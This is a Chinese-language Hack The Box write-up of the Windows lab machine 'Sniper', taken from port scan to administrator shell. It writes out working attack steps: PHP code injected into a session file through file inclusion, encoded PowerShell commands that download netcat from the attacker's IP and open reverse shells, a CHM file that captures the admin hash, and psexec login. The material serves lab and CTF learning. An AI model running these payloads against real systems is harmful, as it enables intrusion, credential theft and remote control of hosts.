好久沒(méi)做htb的靶機(jī),這次又跟著著大佬的思路去做了一臺(tái)新的靶機(jī)。不同以往的是,這次的靶機(jī)Sniper是windows靶機(jī),因此也收獲了許多新姿勢(shì)。就是在中間從github下了不少東西......因?yàn)椴皇羌倨?,具體過(guò)程不會(huì)像以往那么詳細(xì)。同時(shí)windows靶機(jī)下自己不太理解的東西也希望不會(huì)給別人帶進(jìn)誤區(qū)。
有趣的是,這臺(tái)靶機(jī)獲得webroot=>user=>root的shell有不同的操作方法,同時(shí)具體后面提權(quán)時(shí)也將有不同的方法進(jìn)行細(xì)節(jié)上不同的操作。具體細(xì)節(jié)將在后面的文章中提到。
攻擊機(jī)ip: kalilinux 10.10.15.189
靶機(jī)ip windows10 10.10.10.151
端口掃描
首先是老套的端口掃描
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 09:20 CST
Nmap scan report for 10.10.10.151
Host is up (0.24s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h02m38s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-01T08:23:29
|_ start_date: N/A
可以看到是一臺(tái)windows靶機(jī),配有IIS服務(wù)。不過(guò)開(kāi)啟的幾個(gè)端口中包含了445端口,這是SMB服務(wù)開(kāi)放的端口。
port 445: Microsoft Windows SMB Server服務(wù)
著名的永恒之藍(lán)漏洞也是通過(guò)這一端口利用的。當(dāng)然這里并沒(méi)有什么滲透點(diǎn),只是說(shuō)明我們可以通過(guò)smbserver連接到靶機(jī),嘗試基本的smb連接的話(huà)發(fā)現(xiàn)必然是要密碼的。
那么還是從80端口入手。訪(fǎng)問(wèn)網(wǎng)頁(yè),發(fā)現(xiàn)是php網(wǎng)頁(yè)。IIS+php實(shí)際上是非常奇怪的配置,但我們顯然可以以此為入手點(diǎn)。
LFI/RFI=>命令執(zhí)行=>webshell
首先在blog下發(fā)現(xiàn)一個(gè)語(yǔ)言切換功能,其參數(shù)可以文件包含。/blog?lang=blog-en.php
嘗試偽協(xié)議等常規(guī)套路讀源碼均以失敗告終。
簡(jiǎn)單讀windows的文件?lang=/windows/system32/license.rtf
發(fā)現(xiàn)有回顯。那么現(xiàn)在目的是得到一個(gè)web-root的shell,如何操作呢?
此時(shí)有一種相對(duì)"簡(jiǎn)單"的辦法,利用上面提到的是smb服務(wù)。我們?cè)俦緳C(jī)kali新建一個(gè)smb服務(wù),然后直接rfi進(jìn)行操作。
RFI的基本操作套路如下
/?lang=\\10.10.14.62\share\foo.php
但是需要注意。想通過(guò)SMB達(dá)成rfi我們必須修改本機(jī)的是smb服務(wù)的權(quán)限,控制文件夾的權(quán)限為777等等,操作起來(lái)對(duì)我這樣的小白而言相對(duì)困難了。那么有沒(méi)有其他方法得到webshell呢?
有,而這也是我學(xué)到的不同于常規(guī)套路的方法。
回到之前php網(wǎng)頁(yè)的思路上。有這樣的一個(gè)細(xì)節(jié)可以注意:這是一個(gè)windows靶機(jī)的php服務(wù),其session值被存儲(chǔ)在固定的文件夾了。
我們嘗試一下隨意注冊(cè)一個(gè)用戶(hù)名,并且記錄下session值。通過(guò)下面的payload包含session
lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg
此時(shí)查看包含的結(jié)果,發(fā)現(xiàn)是含有用戶(hù)名的序列化數(shù)據(jù)。那么類(lèi)似于之前tp5的session固定存儲(chǔ)類(lèi)的漏洞,我們可以從這里下手,將php代碼寫(xiě)入session數(shù)據(jù)。
首先嘗試簡(jiǎn)單的fuzz,發(fā)現(xiàn)用戶(hù)名過(guò)濾了一些關(guān)鍵字。這里直接給出可行的payload及回顯
<?=`whoami`?>
lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg
username|s:13:"nt authority\iusr
利用短標(biāo)簽加反引號(hào)直接執(zhí)行命令??梢钥吹匠晒?zhí)行whoami。
接下來(lái)可以寫(xiě)webshell,也可以直接命令執(zhí)行。這里直接進(jìn)行命令執(zhí)行。
嘗試常規(guī)的powershell反彈shell失敗。之后會(huì)發(fā)現(xiàn)可能是因?yàn)閜owershell運(yùn)行在constraintmode的原因。但是不要緊,利用lfi+命令執(zhí)行我們還有其他方法拿到windows靶機(jī)的shell。
首先找到本機(jī)的netcat(即平時(shí)使用的nc),把它傳到windows機(jī)上。(當(dāng)然需要先建好www文件夾,并把本機(jī)的nc.exe復(fù)制到里面)
payload:
echo 'wget 10.10.15.189/nc.exe -O \windows\temp\exp.exe' | iconv -t utf-16le | base64 -w 0
將準(zhǔn)備好的payload進(jìn)行編碼避免過(guò)濾。
注冊(cè)新用戶(hù)名為
<?=`powershell /enc {your encoded command }`?>
這里使用/enc是powershell對(duì)應(yīng)的解碼flag,沒(méi)使用-enc是為了解決過(guò)濾問(wèn)題。
然后包含對(duì)應(yīng)的用戶(hù)的session即可執(zhí)行。
再利用lfi檢查是否已經(jīng)把nc傳上去了
很好。那么再進(jìn)行反彈shell的命令吧。
payload:
echo 'c:\windows\temp\exp.exe 10.10.15.189 8899 -e powershell' | iconv -t utf-16le | base64 -w 0
本機(jī)監(jiān)聽(tīng)8899.瀏覽器包含,并得到webshell
user shell
拿到webshell后我們首先檢查下源碼。很快就有所發(fā)現(xiàn)
\user\db.php中可以發(fā)現(xiàn)一個(gè)數(shù)據(jù)庫(kù)的密碼36mEAhz/B8xQ~2VM
.而且在User中可以發(fā)現(xiàn)用戶(hù)Chris的存在。
下面嘗試拿到usershell.
這里將再次用到我們之前使用過(guò)的端口轉(zhuǎn)發(fā)。不過(guò)需要一個(gè)工具來(lái)幫助我們實(shí)現(xiàn)。
https://github.com/jpillora/chisel
從githubrelease處下載chisel的linux與windows版本。分別用于本機(jī)與靶機(jī)。然后wget把windows版本的傳輸?shù)桨袡C(jī)上。
kali: chmod +x chisel_linux_amd64
./chisel_linux_amd64 server -p 8000 --reverse
shell: wget http://10.10.15.189/chisel.exe -O chisel.exe
portforwarding: .\chisel.exe client 10.10.15.189:8000 R:5985:127.0.0.1:5985 R:3306:127.0.0.1:3306
開(kāi)啟--reverse
允許我們轉(zhuǎn)發(fā)端口。而最后一步我們把5985與3306端口轉(zhuǎn)發(fā)到本地。5985對(duì)應(yīng)的是WinRM服務(wù),可用于遠(yuǎn)程管理。我們把它轉(zhuǎn)發(fā)到本地后,可以利用另一個(gè)滲透工具evil-winrm進(jìn)行用戶(hù)登錄。
git clone https://github.com/Hackplayers/evil-winrm
sudo gem install winrm winrm-fs stringio
只需兩步即可使用。
然后evil-winrm繼續(xù)登錄,直接本地127.0.0.1即可。因?yàn)槲覀兌丝谝呀?jīng)轉(zhuǎn)發(fā)好了。
./evil-winrm.rb -u chris -p '36mEAhz/B8xQ~2VM' -i 127.0.0.1
拿到usershell.
之所以用這么多工具進(jìn)行user的提權(quán)其實(shí)是因?yàn)檫@里想要通過(guò)其他方法得到usershell要再次反彈shell.
并且操作起來(lái)有點(diǎn)麻煩.這里我簡(jiǎn)單提一下,就是直接通過(guò)powershell命令創(chuàng)建一個(gè)屬于Chris的變量,然后再反彈shell.
$pass = convertto-securestring '36mEAhz/B8xQ~2VM' -asplaintext -force
$cred = new-object system.management.automation.pscredential("sniper\chris", $pass)
invoke-command -computer sniper -scriptblock { whoami } -credential $cred
變量成功創(chuàng)建的話(huà),最后一條命令的回顯應(yīng)該是sniper\chris
然后下面的命令可以重新彈shell,得到usershell
invoke-command -computer sniper -scriptblock { c:\windows\temp\exp.exe 10.10.15.189 1234 -e powershell.exe } -credential $cred
rootshell
那么又到了最后的root提權(quán)時(shí)間。
在C:\docs中可以發(fā)現(xiàn)這樣一個(gè)有趣的txt
Hi Chris,
Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it.
And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.
Regards,
Sniper CEO.
有意思。似乎在提示我們,傳到這個(gè)文件夾下的東西可能會(huì)被CEO檢測(cè)。這也就類(lèi)似xss中我們的payload被檢查時(shí)可以打到admin的cookie.這里我們是否也能通過(guò)可執(zhí)行文件讓administrator檢查,拿到administrator的權(quán)限呢?
同樣在Chris的Downloads目錄下我們發(fā)現(xiàn)一個(gè)instructions.chm文件。拿到windows本機(jī)打開(kāi),將發(fā)現(xiàn)
那么我們應(yīng)該就是要使用chm文件進(jìn)行操作了。同時(shí)利用的思路也大致清楚了:
1.windows本機(jī)下操作生成chm文件
2.上傳chm文件,其中payload將打到本機(jī) #類(lèi)似xss的道理
3.監(jiān)聽(tīng)本機(jī),得到administrator信息。
簡(jiǎn)單提下chm文件。其實(shí)就是html文件的幫助文件系統(tǒng)。而且想要操作起來(lái)很簡(jiǎn)單,只要在win10電腦的C:\Program Files (x86)\HTML Help Workshop
中即可找到。
當(dāng)然我們還要從微軟官網(wǎng)下載最新的https://www.microsoft.com/en-us/download/details.aspx?id=21138
先創(chuàng)建一個(gè)html文件
<html>
<body>
<h1>Hacked by byc_404</h1>
<img src=\\10.10.15.189\htb\23333.jpg/>
</body>
</html>
里面的src資源指向我們本機(jī)任意資源,說(shuō)白了就是讓admin觸發(fā)且我們能收到請(qǐng)求而已。
在windows本機(jī)以管理員權(quán)限打開(kāi)hhw.exe,創(chuàng)建test.hpp項(xiàng)目添加我們剛剛的index.html并編譯,即可生成一個(gè)chm文件。
然后回到本機(jī),先起一個(gè)監(jiān)聽(tīng)
responder -I tun0
wget上傳文件到docs文件夾下
wget http://10.10.15.189/test.chm -O exp.chm
很快就能收到請(qǐng)求
這是一串管理員密碼的hash.到網(wǎng)站上解碼可得管理員密碼butterfly!#1
.
然后登嘗試登陸。由于開(kāi)放了445端口,我們直接用smb服務(wù)可以直接登錄。
當(dāng)然我沒(méi)有起smb服務(wù),使用下面github上的python腳本即可替代。
git clone https://github.com/SecureAuthCorp/impacket
pip install .
python psexec.py Administrator@10.10.10.151
成功拿到rootshell.
當(dāng)然還有類(lèi)似前面的直接反彈rootshell的方法。因?yàn)閏hm文件甚至可以插入powershell命令,所以我們可以直接生成反彈shell的html.這里直接借用看到的dalao的chm。
或者使用powershell命令生成payload
https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
Out-CHM –Payload "C:windows\temp\exp.exe 10.10.15.189 6666 -e powershell.exe" –HHCPath “C:\Program Files (x86)\HTML Help Workshop”
這樣就能直接在administrator檢查時(shí)反彈到shell.
小結(jié)
這次windows靶機(jī)的體驗(yàn)還算不錯(cuò)。因?yàn)椴皇煜さ脑蚪佑|了不少新知識(shí)。有很多細(xì)節(jié)還沒(méi)弄明白,但是也學(xué)到了不少windows靶機(jī)新知識(shí)。的確,CTFer 不能總是待在舒適區(qū)。國(guó)際賽也好,htb靶機(jī)滲透也好,都是接觸非國(guó)內(nèi)滲透知識(shí)的大好途徑。畢竟也打了一段時(shí)間比賽了,國(guó)內(nèi)的比賽除了大型比賽能有很多新姿勢(shì)以及新想法學(xué)以外,其他的出題思路或者賽事操作都是老生常談,拘泥于php或者個(gè)別trick的泥潭中。這幾天嘗試了java題,windows題,都算是一種突破常規(guī)的嘗試吧。希望自己也能成為有想法的CTFer。而不是一個(gè)單純的CTF賽棍.